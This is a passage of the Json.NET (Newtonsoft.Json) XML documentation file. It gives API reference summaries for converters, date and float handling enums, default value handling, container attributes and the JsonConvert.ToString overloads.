name=\"M:Newtonsoft.Json.Converters.VersionConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.XmlNodeConverter\">\n            <summary>\n            Converts XML to and from JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.DeserializeRootElementName\">\n            <summary>\n            Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements.\n            </summary>\n            <value>The name of the deserialized root element.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.WriteArrayAttribute\">\n            <summary>\n            Gets or sets a value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </summary>\n            <value><c>true</c> if the array attribute is written to the XML; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.OmitRootObject\">\n            <summary>\n            Gets or sets a value indicating whether to write the root JSON object.\n            </summary>\n            <value><c>true</c> if the JSON root object is omitted; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.EncodeSpecialCharacters\">\n            <summary>\n            Gets or sets a value indicating whether to encode special characters when converting JSON to XML.\n            If <c>true</c>, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify\n            XML namespaces, attributes or processing directives. Instead special characters are encoded and written\n            as part of the XML element name.\n            </summary>\n            <value><c>true</c> if special characters are encoded; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.IsNamespaceAttribute(System.String,System.String@)\">\n            <summary>\n            Checks if the <paramref name=\"attributeName\"/> is a namespace attribute.\n            </summary>\n            <param name=\"attributeName\">Attribute name to test.</param>\n            <param name=\"prefix\">The attribute name prefix if it has one, otherwise an empty string.</param>\n            <returns><c>true</c> if attribute name is for a namespace attribute, otherwise <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified value type.\n            </summary>\n            <param name=\"valueType\">Type of the value.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified value type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateFormatHandling\">\n            <summary>\n            Specifies how dates are formatted when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\">\n            <summary>\n            Dates are written in the ISO 8601 format, e.g. <c>\"2012-03-21T05:40Z\"</c>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateFormatHandling.MicrosoftDateFormat\">\n            <summary>\n            Dates are written in the Microsoft JSON format, e.g. <c>\"\\/Date(1198908717056)\\/\"</c>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateParseHandling\">\n            <summary>\n            Specifies how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.None\">\n            <summary>\n            Date formatted strings are not parsed to a date type and are read as strings.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.DateTime\">\n            <summary>\n            Date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed to <see cref=\"T:System.DateTime\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.DateTimeOffset\">\n            <summary>\n            Date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed to <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateTimeZoneHandling\">\n            <summary>\n            Specifies how to treat the time value when converting between string and <see cref=\"T:System.DateTime\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Local\">\n            <summary>\n            Treat as local time. If the <see cref=\"T:System.DateTime\"/> object represents a Coordinated Universal Time (UTC), it is converted to the local time.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Utc\">\n            <summary>\n            Treat as a UTC. If the <see cref=\"T:System.DateTime\"/> object represents a local time, it is converted to a UTC.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Unspecified\">\n            <summary>\n            Treat as a local time if a <see cref=\"T:System.DateTime\"/> is being converted to a string.\n            If a string is being converted to <see cref=\"T:System.DateTime\"/>, convert to a local time if a time zone is specified.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\">\n            <summary>\n            Time zone information should be preserved when converting.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DefaultJsonNameTable\">\n            <summary>\n            The default JSON name table implementation.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.DefaultJsonNameTable\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.Get(System.Char[],System.Int32,System.Int32)\">\n            <summary>\n            Gets a string containing the same characters as the specified range of characters in the given array.\n            </summary>\n            <param name=\"key\">The character array containing the name to find.</param>\n            <param name=\"start\">The zero-based index into the array specifying the first character of the name.</param>\n            <param name=\"length\">The number of characters in the name.</param>\n            <returns>A string containing the same characters as the specified range of characters in the given array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.Add(System.String)\">\n            <summary>\n            Adds the specified string into name table.\n            </summary>\n            <param name=\"key\">The string to add.</param>\n            <remarks>This method is not thread-safe.</remarks>\n            <returns>The resolved string.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DefaultValueHandling\">\n            <summary>\n            Specifies default value handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeDefaultValueHandlingObject\" title=\"DefaultValueHandling Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeDefaultValueHandlingExample\" title=\"DefaultValueHandling Ignore Example\" />\n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Include\">\n            <summary>\n            Include members where the member value is the same as the member's default value when serializing objects.\n            Included members are written to JSON. Has no effect when deserializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Ignore\">\n            <summary>\n            Ignore members where the member value is the same as the member's default value when serializing objects\n            so that it is not written to JSON.\n            This option will ignore all default values (e.g. <c>null</c> for objects and nullable types; <c>0</c> for integers,\n            decimals and floating point numbers; and <c>false</c> for booleans). The default value ignored can be changed by\n            placing the <see cref=\"T:System.ComponentModel.DefaultValueAttribute\"/> on the property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Populate\">\n            <summary>\n            Members with a default value but no JSON will be set to their default value when deserializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.IgnoreAndPopulate\">\n            <summary>\n            Ignore members where the member value is the same as the member's default value when serializing objects\n            and set members to their default value when deserializing.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.FloatFormatHandling\">\n            <summary>\n            Specifies float format handling options when writing special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/> with <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.String\">\n            <summary>\n            Write special floating point values as strings in JSON, e.g. <c>\"NaN\"</c>, <c>\"Infinity\"</c>, <c>\"-Infinity\"</c>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.Symbol\">\n            <summary>\n            Write special floating point values as symbols in JSON, e.g. <c>NaN</c>, <c>Infinity</c>, <c>-Infinity</c>.\n            Note that this will produce non-valid JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.DefaultValue\">\n            <summary>\n            Write special floating point values as the property's default value in JSON, e.g. 0.0 for a <see cref=\"T:System.Double\"/> property, <c>null</c> for a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> property.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.FloatParseHandling\">\n            <summary>\n            Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatParseHandling.Double\">\n            <summary>\n            Floating point numbers are parsed to <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatParseHandling.Decimal\">\n            <summary>\n            Floating point numbers are parsed to <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Decimal\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Formatting\">\n            <summary>\n            Specifies formatting options for the <see cref=\"T:Newtonsoft.Json.JsonTextWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Formatting.None\">\n            <summary>\n            No special formatting is applied. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Formatting.Indented\">\n            <summary>\n            Causes child objects to be indented according to the <see cref=\"P:Newtonsoft.Json.JsonTextWriter.Indentation\"/> and <see cref=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\"/> settings.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.IArrayPool`1\">\n            <summary>\n            Provides an interface for using pooled arrays.\n            </summary>\n            <typeparam name=\"T\">The array type content.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IArrayPool`1.Rent(System.Int32)\">\n            <summary>\n            Rent an array from the pool. This array must be returned when it is no longer needed.\n            </summary>\n            <param name=\"minimumLength\">The minimum required length of the array. The returned array may be longer.</param>\n            <returns>The rented array from the pool. This array must be returned when it is no longer needed.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IArrayPool`1.Return(`0[])\">\n            <summary>\n            Return an array to the pool.\n            </summary>\n            <param name=\"array\">The array that is being returned.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.IJsonLineInfo\">\n            <summary>\n            Provides an interface to enable a class to return line and position information.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\">\n            <summary>\n            Gets a value indicating whether the class can return line information.\n            </summary>\n            <returns>\n            \t<c>true</c> if <see cref=\"P:Newtonsoft.Json.IJsonLineInfo.LineNumber\"/> and <see cref=\"P:Newtonsoft.Json.IJsonLineInfo.LinePosition\"/> can be provided; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.IJsonLineInfo.LineNumber\">\n            <summary>\n            Gets the current line number.\n            </summary>\n            <value>The current line number or 0 if no line information is available (for example, when <see cref=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\"/> returns <c>false</c>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.IJsonLineInfo.LinePosition\">\n            <summary>\n            Gets the current line position.\n            </summary>\n            <value>The current line position or 0 if no line information is available (for example, when <see cref=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\"/> returns <c>false</c>).</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonArrayAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the collection.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonArrayAttribute.AllowNullItems\">\n            <summary>\n            Gets or sets a value indicating whether null items are allowed in the collection.\n            </summary>\n            <value><c>true</c> if null items are allowed in the collection; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonArrayAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with a flag indicating whether the array can contain null items.\n            </summary>\n            <param name=\"allowNullItems\">A flag indicating whether the array can contain null items.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonArrayAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConstructorAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to use the specified constructor when deserializing that object.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonContainerAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Id\">\n            <summary>\n            Gets or sets the id.\n            </summary>\n            <value>The id.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Title\">\n            <summary>\n            Gets or sets the title.\n            </summary>\n            <value>The title.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Description\">\n            <summary>\n            Gets or sets the description.\n            </summary>\n            <value>The description.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterType\">\n            <summary>\n            Gets or sets the collection's items converter.\n            </summary>\n            <value>The collection's items converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyType\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <see cref=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.IsReference\">\n            <summary>\n            Gets or sets a value that indicates whether to preserve object references.\n            </summary>\n            <value>\n            \t<c>true</c> to keep object reference; otherwise, <c>false</c>. The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemIsReference\">\n            <summary>\n            Gets or sets a value that indicates whether to preserve collection's items references.\n            </summary>\n            <value>\n            \t<c>true</c> to keep collection's items object references; otherwise, <c>false</c>. The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the collection's items.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the collection's items.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonContainerAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonContainerAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonContainerAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonContainerAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConvert\">\n            <summary>\n            Provides methods for converting between .NET types and JSON types.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"SerializeObject\" title=\"Serializing and Deserializing JSON with JsonConvert\" />\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\">\n            <summary>\n            Gets or sets a function that creates default <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            Default settings are automatically used by serialization methods on <see cref=\"T:Newtonsoft.Json.JsonConvert\"/>,\n            and <see cref=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1\"/> and <see cref=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object)\"/> on <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            To serialize without using any default settings create a <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> with\n            <see cref=\"M:Newtonsoft.Json.JsonSerializer.Create\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.True\">\n            <summary>\n            Represents JavaScript's boolean value <c>true</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.False\">\n            <summary>\n            Represents JavaScript's boolean value <c>false</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.Null\">\n            <summary>\n            Represents JavaScript's <c>null</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.Undefined\">\n            <summary>\n            Represents JavaScript's <c>undefined</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.PositiveInfinity\">\n            <summary>\n            Represents JavaScript's positive infinity as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.NegativeInfinity\">\n            <summary>\n            Represents JavaScript's negative infinity as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.NaN\">\n            <summary>\n            Represents JavaScript's <c>NaN</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTime)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTime\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTime\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTime,Newtonsoft.Json.DateFormatHandling,Newtonsoft.Json.DateTimeZoneHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTime\"/> to its JSON string representation using the <see cref=\"T:Newtonsoft.Json.DateFormatHandling\"/> specified.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"format\">The format the date will be converted to.</param>\n            <param name=\"timeZoneHandling\">The time zone handling when the date is converted to a string.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTime\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTimeOffset)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTimeOffset\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTimeOffset\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTimeOffset,Newtonsoft.Json.DateFormatHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTimeOffset\"/> to its JSON string representation using the <see cref=\"T:Newtonsoft.Json.DateFormatHandling\"/> specified.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"format\">The format the date will be converted to.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTimeOffset\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Boolean)\">\n            <summary>\n            Converts the <see cref=\"T:System.Boolean\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Boolean\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Char)\">\n            <summary>\n            Converts the <see cref=\"T:System.Char\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Char\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Enum)\">\n            <summary>\n            Converts the <see cref=\"T:System.Enum\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Enum\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int32)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int32\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int16)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int16\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int16\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt16)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt16\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt16\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt32)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt32\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int64)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int64\"/>  to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int64\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt64)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt64\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt64\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Single)\">\n            <summary>\n            Converts the <see cref=\"T:System.Single\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Single\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Double)\">\n            <summary>\n            Converts the <see cref=\"T:System.Double\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Double\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Byte)\">\n            <summary>\n            Converts the <see cref=\"T:System.Byte\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Byte\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.SByte)\">\n            <summary>\n            Converts the <see cref=\"T:System.SByte\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.SByte\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Decimal)\">\n            <summary>\n            Converts the <see cref=\"T:System.Decimal\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Decimal\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Guid)\">\n            <summary>\n            Converts the <see cref=\"T:System.Guid\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Guid\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.TimeSpan)\">\n            <summary>\n            Converts the <see cref=\"T:System.TimeSpan\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.TimeSpan\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Uri)\">\n            <summary>\n            Converts the <see cref=\"T:System.Uri\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Uri\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String,System.Char)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"delimiter\">The string delimiter character.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member 